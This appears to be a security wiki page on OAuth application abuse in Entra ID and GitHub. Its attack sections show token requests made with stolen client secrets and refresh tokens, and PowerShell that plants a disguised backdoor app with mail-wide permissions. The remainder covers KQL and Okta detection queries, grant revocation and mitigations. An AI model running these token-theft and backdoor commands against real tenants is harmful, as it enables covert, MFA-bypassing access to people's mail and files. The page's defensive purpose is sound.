OAuth App Abuse
ATT&CK: T1550.001 — Use Alternate Authentication Material, T1528 — Steal Application Access Token
OAuth 2.0 application abuse encompasses attacks where malicious or compromised OAuth apps gain persistent access to user resources — without needing the user's password or triggering MFA.
Why OAuth Apps Are Valuable Attack Vectors
- Consent grants survive password changes — a user resetting their password does not revoke existing OAuth grants
- No MFA — app-level access tokens bypass MFA requirements
- Broad permissions — apps often request more than needed; users routinely approve
- Hard to discover — organizations rarely inventory all OAuth apps that employees have consented to
- Long-lived — refresh tokens can persist for months
Attack Vectors
1. Illicit Consent Grant (see also illicit-consent-grant.md)
The attacker registers a malicious OAuth app in Entra ID (or uses a third-party app) and tricks a user into granting it permissions.
Phishing email → "Click here to view the shared document"
↓
OAuth consent screen: "This app wants access to:
- Read your email (Mail.Read)
- Read your contacts (Contacts.Read)
- Access your files (Files.ReadWrite)"
↓
User clicks Accept
↓
Attacker's app has persistent access without credentials
2. Compromise of Existing Legitimate OAuth App
If an attacker can compromise a legitimate app that has high-privilege grants:
# Find the app's client secret (in code, env vars, CI/CD)
# Use that to call the OAuth token endpoint
curl -X POST https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token \
-d "client_id=<app-id>&client_secret=<stolen-secret>&grant_type=client_credentials&scope=https://graph.microsoft.com/.default"
# Now call Graph API with the token as the app identity
curl -H "Authorization: Bearer <token>" \
"https://graph.microsoft.com/v1.0/users"
3. Refresh Token Theft
Refresh tokens from browser sessions, mobile apps, or CI/CD pipelines:
# Use refresh token to get new access token
import requests
response = requests.post(
f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token",
data={
"client_id": client_id,
"grant_type": "refresh_token",
"refresh_token": stolen_refresh_token,
"scope": "https://graph.microsoft.com/Mail.ReadWrite"
}
)
access_token = response.json()["access_token"]
4. GitHub OAuth App Abuse
GitHub OAuth apps with broad organization access:
reposcope — read/write all reposadmin:orgscope — manage the organizationdelete_reposcope — delete repositories
Persistence Techniques
Adding OAuth App as Backdoor
An attacker with App Registration permissions creates a persistent backdoor:
# Create app with broad graph permissions
$app = New-MgApplication -DisplayName "CompanyIntegration" -SignInAudience "AzureADMyOrg"
# Add client secret
$secret = Add-MgApplicationPassword -ApplicationId $app.Id
# Request admin consent for Mail.ReadWrite on all users
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.Id `
-AppRoleId "e2a3a72e-5f79-4c64-b1b1-878b674786c9" ` # Mail.ReadWrite
-PrincipalId $sp.Id -ResourceId $msGraphSp.Id
Detection in Microsoft 365 / Entra ID
// New OAuth app with high-privilege consent
AuditLogs
| where OperationName == "Consent to application"
| extend Permissions = tostring(TargetResources[0].modifiedProperties)
| where Permissions has_any ("Mail.ReadWrite", "Files.ReadWrite.All", "Directory.ReadWrite", "offline_access")
| project TimeGenerated, InitiatedBy, TargetResources, Permissions
// App credential additions (potential backdoor)
AuditLogs
| where OperationName in ("Add password credentials for application", "Add key credentials for application")
| project TimeGenerated, OperationName, InitiatedBy, TargetResources
// Token issuance to apps with high-privilege scopes
AADServicePrincipalSignInLogs
| where ResourceDisplayName == "Microsoft Graph"
| where ServicePrincipalCredentialType == "Secret"
| summarize count() by ServicePrincipalName, bin(TimeGenerated, 1h)
| where count_ > 100 // unusual volume
Detection in Okta
# Okta System Log
event.type = "app.oauth2.token.grant" AND actor.type = "User"
# High volume token grants
event.type = "app.oauth2.token.grant.implicit" AND target[0].displayName != "<expected-app>"
Inventory and Response
# Enumerate all OAuth grants in the tenant (Graph API)
$grants = Get-MgOauth2PermissionGrant -All
foreach ($grant in $grants) {
[PSCustomObject]@{
App = (Get-MgServicePrincipal -ServicePrincipalId $grant.ClientId).DisplayName
User = $grant.PrincipalId
Scope = $grant.Scope
Expiry = $grant.ExpiryTime
}
}
# Revoke a specific grant
Remove-MgOauth2PermissionGrant -OAuth2PermissionGrantId $grant.Id
# Revoke all tokens for a user
Revoke-MgUserSignInSession -UserId user@domain.com
Mitigation
| Control | Effect |
|---|---|
| Require admin consent for all app permissions | Users cannot self-consent to external apps |
| Application allowlist | Only approved apps can be consented to |
| Audit OAuth grants quarterly | Find dormant, over-privileged, or unauthorized apps |
| Block multi-tenant app consent from unverified publishers | Reduces phishing-via-OAuth risk |
| Set token lifetime policies | Shorter refresh token lifetimes |
Cross-Links
| Topic | Link |
|---|---|
| Illicit Consent Grant | illicit-consent-grant |
| OAuth Token Theft | oauth-token-theft |
| SCIM Abuse | scim-abuse |
| Service Principal Abuse | service-principal-abuse |